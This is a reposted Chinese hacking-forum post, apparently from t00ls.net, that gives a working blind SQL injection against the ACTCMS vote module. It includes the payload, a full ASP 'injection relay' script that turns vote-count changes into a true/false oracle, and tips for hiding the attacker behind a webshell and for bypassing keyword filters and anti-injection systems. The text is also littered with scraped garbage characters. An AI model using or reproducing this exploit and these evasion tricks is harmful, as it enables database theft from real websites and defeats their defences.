, v; q$ b; K9 J1 j$ w看到ninty大牛的blog的一篇文章
! I% R7 w! d& n, s% L0 M. d链接标记[url]http://www.forjj.com/?action=show&id=80[/url]8 n# u# ]9 {8 o2 v0 P/ c1 _7 x
关于actcms漏洞的利用 by 3x qq:381862589/ Z s1 C9 q" Z! Q! p! c6 P4 ^
转载请注明以上0 X: e4 |! a/ K$ E, x; }
漏洞文件:* s0 W. Z" l9 N
/plus/vote/vote.asp
# j* a/ @" E7 x8 _代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 2 S1 K2 ~4 c% U& E
" u- W5 b( a, Y) }
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
. z; i' G" f2 S! N" d5 A8 I: a9 O" G2 h4 A
3 response.end
, C* I# {+ L! j q9 i$ G( V0 e+ n0 X5 i2 N
4 end if
" Y( a# t- @( O4 i+ v* c- |8 ~ S/ Z; s4 f8 q# ?
5 for i=1 to request("voted").count
( D; l) [/ d; z- N5 v, @* d T4 d" V: w: f
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) ) }# Q: r5 J- c0 \
) B' l4 ` t4 H e! g) {
7 next ! J. ]6 h' h( l! O+ r2 t
/ N/ r5 k7 d6 \+ n/ j/ l ?8.... 4 b/ x; r: K; I- I
. [* d4 {$ F( m: G( J( H% @
9response.Redirect "index.asp?id="&id&"" # B5 U9 |# m8 M- v2 H* g
投票结束回跳转回index.asp这个投票结果页面
1 v( ^5 A w7 j- v如果投票成功票数加1! U" g& l: W8 a. E8 R. N
失败票数不变2 u( ~( R2 q5 X9 y0 a; w5 I
如图:
, w$ I8 V8 n* M, u4 ^, B: Phttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
, H/ {- I( P/ a5 ]- g! @6 }
0 j' p, |: V, _4 _" f" \5 s; F4 P2009-12-27 13:20) p& p6 V+ X! N% y, {+ b
+ j* {5 | O5 Q3 Q
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
3 {+ Q8 k5 m; C7 y; w; I* u+ _7 c4 O D C
本帖隐藏的内容需要回复才可以浏览
^* s* f* {5 C7 V- d我们用注入中转来实现这个注入具体代码如下:; R- ^5 g& }& e0 m8 K
先用寂寞的刺猬大牛的注入中转生成jmget.asp* b3 h& o* d% J5 d1 M" P
注入地址:http://localhost/actcms/plus/vote/vote.asp. t, Q2 q1 W$ t' J8 ^% p1 O) t
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
) A. i6 D% Y0 B' |
0 h0 W$ Z7 |4 R然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
* q2 o/ L- w" V- J
, w: c8 F' f; D6 L2 W: H+ C02JmdcwName=request("jmdcw")
* F7 L; U+ [- [( x* |- y
; i _5 g+ `/ R' b$ A# Q8 [03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
( I/ E. t. X) v0 C
1 {2 O6 W0 u B u04JmStr="id=1&voted=-1 or 1="&JmdcwName ^1 B C& L s' D' M, r
$ h' C1 j( j- s05JmStr=URLEncoding(JmStr) ( o" H- L/ E' C4 p `( q3 @
9 A0 B% t% Q- k
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
2 O8 d0 ?) X/ m6 [/ r) v+ c. F
9 A) y- O* t. }07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
% l( L% s5 B! M% a6 z! G' H0 D- O
3 [' V0 L) k: i$ u! y+ }08testurl=testurl & "?" & JmStr
6 X- g2 V6 @+ r5 @7 l M
% @" P3 `1 C M! R: W. c' i5 P09JMUrl=JMUrl & "?" & JmStr 7 A: x4 A6 t& c- m8 u! l, U0 l
+ |: h4 i: y: a% i8 f/ H10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
: H7 f2 v- e; j$ w; O; v3 n( R6 O3 c7 B2 N9 C- t2 F: ]. a
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;". _' ?. W5 t! s2 Q* k; v# M
H# c9 U& C7 u
12JmCok=replace(JmCok,chr(32),"%20")
- L+ c" j3 Z. C+ S# O
& b! Y- X1 V! t. i# p! o7 V13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
+ b6 F9 R1 e5 U0 l4 `: x' ]9 j ?9 k, o# o& h/ E: R- J
14 8 T* i0 p/ i! Z( | `7 m
- ?/ I0 |3 J: ?0 z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
B& J- O$ q: j$ [8 h; E& L' H( z1 D9 ~ s( E
16 2 \' q" a2 m( w; ^3 P- q O. Y: u2 o
" e9 `' Y9 b* A9 P' g17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 # ~& j/ c+ |' O" z; a
+ p& t+ z7 e* `- E- X* L
18response.write test1&""&test2&""" E# \" X/ V$ d
. C( ^/ `& x' q
19 2 Q" ^: @% U/ E0 ^2 n3 N# c( m
' y; X# E# C+ {4 _0 w. i20if test1=test2 then '如前后记录相等,表示失败
4 s& t1 G2 X5 q. @3 b2 u
$ f, i2 p! Q8 N' |/ q2 A21 response.write "failed"
, }( Z$ t7 N0 N& C! F4 J) x9 d' O7 H6 g* O1 S+ w
22else
1 Y* A$ C( l* C% u8 l1 {0 y5 d& x) D6 M; y8 Y: P
23 response.write "succeed"
1 e2 i* h; O- i! Y2 [
2 A2 P4 | _/ a* i24end if
6 D4 I3 |# J* K) F- @
/ d, y; }) {) x3 e$ }- T: X' Z25
& W, u8 ? E, v# ?9 X: l2 w* m& M1 H9 x; b7 F0 ]
26response.write "by 3x"
$ c' P, Q$ K: m% \* {+ P; l! k" n% k* i4 y
27 6 ~1 y$ D, ^" I, @9 \* @9 _1 u
/ z; y( x6 V& j& s V
28
( m+ @7 I. \/ H: u
+ ]5 z t' I+ V8 }( d29Function PostData(PostUrl,PostStr,PostCok,PostRef) 6 h1 P5 G" K9 y. C4 i
% T9 Y# S: \' j8 G2 x$ u2 A' P, _30Dim Http
2 y) l4 S: z: I6 {4 [; w4 D4 [, T, D5 C! `. ]% z6 k) ~
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
8 d) y$ k* L' J) V0 @
4 Z. I7 X& h, j2 r! x% @32With Http ( F4 @. s1 N0 r. J2 } D. X$ l) u. l$ N0 f
, E6 h% `+ A$ s! i
33
7 d& Y/ Q7 }+ ~" Y# c0 @ m z5 ?2 ?1 h' [
34.Open "GET",PostUrl,False0 l" {! O; f$ i3 m& E' }( e
2 {/ P: k9 v, S
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"* `# A2 d% F5 m/ t) T; O
* K4 c8 R8 L( u' w, l4 c36.SetRequestHeader "Referer",PostRef
/ B: _( X8 V/ X5 m% ^' ]! Z
" T0 S( w! Z* I1 T Y2 R, r5 m: e37.SetRequestHeader "Cookie",PostCok
* m' s1 Y! d8 B& |
8 z# o( e/ B0 }, U38.Send ()
. s, x5 G i, S# G2 i7 J( L1 q, G1 R4 }; q/ F! e# m$ o3 L
39PostData = .ResponseBody
8 X2 F+ o# Y G: g. R" ]2 U' T8 ?2 Y8 y+ y0 n
40End With
L N" ?; r7 A/ c/ j. ?: s1 H% i2 `. P d4 H5 M
41Set Http = Nothing
) J3 Z9 o8 q* ]9 s) d- E
! G, m/ t) s0 d. Q' Y1 d# l0 j42PostData =bytes2BSTR(PostData) - S9 r8 f/ [6 c7 q3 Y4 G
) T6 s- N; \$ b5 \
43End Function
0 S/ k" ~6 M8 r
+ r+ t+ b, ?, O* C8 X/ Q! K44
, ~: J! l# ^! A: J- I7 W. T
$ M) D5 D) A7 U, n, m0 h/ i45
% b F. |4 Y% E# t+ }8 i* t+ C' E m
46Function bytes2BSTR(vIn) : g7 D- J- y5 i0 x$ W5 u
3 `4 D3 M2 r# u$ ?, L# B
47Dim strReturn 1 U9 @/ l8 c5 A( e0 g2 e U* X
. \( N; E0 [3 V- T48Dim I, ThisCharCode, NextCharCode % A1 s3 u+ G+ E& o7 [
5 L4 u t% P3 f1 k( |( j49strReturn = ""8 a' \8 Y0 D, d+ F' K
' N& m3 U8 n$ }: U# F$ q
50For I = 1 To LenB(vIn)
" Q& e* `8 V2 Y# i! A }" n# ^% I, Y' `# H
51ThisCharCode = AscB(MidB(vIn, I, 1))
# {/ I, v2 t! l& Y: a7 h- v6 J) {" O. l
52If ThisCharCode < &H80 Then
$ G5 ^, _, z8 i, F2 \
+ |$ ]2 @ @# W) I53strReturn = strReturn & Chr(ThisCharCode) 2 W9 U3 D$ o$ j/ P
) N6 ^! [' ?6 n m; ?
54Else
$ G/ L& G9 P+ \) Y; G# W# }2 d$ ]" M+ w6 b9 P1 m
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
z. [& S( C N* z: P
% N$ }3 F. [4 ?% G! G* y9 V56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 0 C2 C+ q, P/ d% a+ O3 y# |) l
' S* B9 q E: [
57I = I + 1
6 w, f# w, B! m
. M1 g- _& x! |" \! J4 H8 Z58End If1 T, a8 b% y7 j
7 j4 p7 ~6 ]: _% |: p N/ C59Next
6 M+ R) w; `; E H4 K2 ~, }9 G- u# D9 ^0 O( X/ b! z
60bytes2BSTR = strReturn . H2 L/ _4 N" P% a/ X/ [3 N0 u
" Z1 Z% D4 J) X
61End Function
- Q: F! P: ~0 w- n( {7 t! Y( Y% ]- q$ l* Q6 G! J' w3 F& e' }
62
; `+ v8 e9 R2 P4 \
5 P) |8 b; Q! S, a( ?5 E: P63Function URLEncoding(vstrin)
( P" o8 K1 @/ ~ x) I
) X! p N! T- g9 a64strReturn=""
4 L) V, ~. n V& D* k M8 ^" T e/ T) I( w5 B& I7 t/ A
65Dim i ( Z W0 x8 |9 C, f5 {
: ^9 I% d7 u8 B, X7 Z
66For i=1 To Len(vstrin) 2 u& C( B9 t( k- @+ x, m) C% @
4 p2 D# p3 a2 L. u2 F6 L
67ThisChr=Mid(vstrin,i,1)
( n' d1 p1 `5 v8 \ {
) Y$ k" E5 P0 p68if Abs(Asc(ThisChr))< &HFF Then
2 f5 V) S$ l8 X& s1 p$ h# d% {
; \) a: i7 J5 M. L% `+ A69strReturn=strReturn & ThisChr
: }! D. o9 W1 p5 ?4 C0 i- `: Z! @
B) S2 u( Y6 g: `* F6 Z70Else
1 O/ K7 t6 l0 R! g& U& j/ H4 H$ {
71InnerCode=Asc(ThisChr)
5 e; a! W7 }$ ~* d5 e5 m: B* P& [; H5 {) T/ s) p
72If InnerCode<0 Then
; K3 L" g+ {0 `8 R, R) t1 E b0 [* ~) C' p; u0 s
73InnerCode=InnerCode + &H10000
7 n3 s7 Y8 r; c; U. s6 Y- C% G* M* I, R& B* j3 R
74End If
6 x2 B5 [6 W+ A7 G5 D3 L' _" \; T8 Q/ b# O. J- g( G5 G
75Hight1=(InnerCode And &HFF00) \&HFF
" p7 E' _5 [, M$ y. e5 k5 E5 Q
% ]8 W& O" m3 R: r76Low1=InnerCode And &HFF $ [' y5 m/ l @# h4 N4 {5 n
+ o/ b( M8 H7 x( v3 j2 A7 p77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
6 T7 Q: I' W4 c1 n& ]
: q% w% t1 s3 k6 w! V78End if
& \3 V! k( z/ \+ x8 p' r' N0 R* b) M$ T
79Next
$ ?8 B g# p: \% S3 h: B9 l( X
. j# \7 ]/ Z' p2 T$ x2 Q! j0 _80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 8 a1 B0 B) A2 L j- G/ m; H) B; O! U
1 M1 y$ f& z4 l7 i# X81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
+ M7 N2 l- J9 N& }8 z+ C
/ x2 u7 a* X6 o! b82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
, w( ^& N, S' X# `& j
6 o2 G, _; c+ f1 q/ d83URLEncoding=strReturn
1 ]/ `' y% O+ ~% N6 W2 v5 }& V8 t2 a! \. ]
84End Function
0 v. L: n0 R) j& O2 K) _% O; L7 ^2 Q2 `
85
% j {+ J6 A; g. S; x
. b* j; n# L! o# s5 V1 Q: S& y86function getSt(body)
5 E" r+ I; y: ^2 x d1 j; r, M( S' n3 N
87 startpot=instr(body,"投票人数:")+len("投票人数:") 4 m3 r) W# N/ E6 H+ p0 \& g' \
_+ K5 P# O0 ?- ~% |6 W5 N88 endpot=instr(startpot,body," ")
; V6 l1 R0 u- ~% r4 M P) G4 u1 T3 o1 {5 Q
89 getSt=mid(body,startpot,endpot-startpot) 2 |+ B- o6 G9 G: F" J$ J
" J4 y1 b! i! g: f0 P6 e1 N
90end function
0 Z4 Q7 D2 y% g7 l8 ], V, {6 Z( {" l2 b/ V: [9 R: d6 k# g
91%>& t2 {3 N/ V: ?6 M( Q) l
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
- W8 H1 \" t* }: M \: I测试下效果:* a1 T, A) i$ b. D6 F% p/ }
投票成功:
5 f# A: a5 m( l0 U/ ?8 nhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)9 X4 b8 I7 h' @2 |% e
% i5 x+ S8 {( r E$ @+ h2009-12-27 13:29: ~9 r4 u, Q: ?
投票失败
f, l+ r+ E0 z3 Xhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB), k5 J6 S& C2 A* V g( [* d7 Y8 l V
) R. k6 B: [$ |2009-12-27 13:290 P5 B6 _- ~* I& `+ G0 U' _
-------------------------------------------------------------------------------
4 z9 A F4 K! D4 E: k$ s& Q# P, ?/ z再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以- Q( ?- l7 Q8 A0 b; ?4 O; N
很抱歉。。。只能用单线程工具去注入。。。。。
5 x2 [# X8 i/ h; M' i1 C3 C所以失败。。。不好意思。。。
! G$ h/ H: ~1 R1 f L: e* b& b" M-------------------------------------------------------------------------------
" G% S7 P, t0 r- L& f+ X5 u2 @, j- J5 s' W5 _2 c7 u. H
注入中转的一些其他应用
; g) D6 i8 z7 z* Y- V$ D9 V; ]# S其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了1 ^4 W# O; u* i4 C* u3 v" A
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
; A0 S6 O8 `0 O$ d% y8 [; B* b2.post注入转成get型的注入,方便我们使用工具来跑
0 q) y& a& D5 B0 N3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")% t& P8 Z z C) c$ L+ e
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过6 `1 h2 Z$ `% ~/ t
# p, m& X' L! h, A
|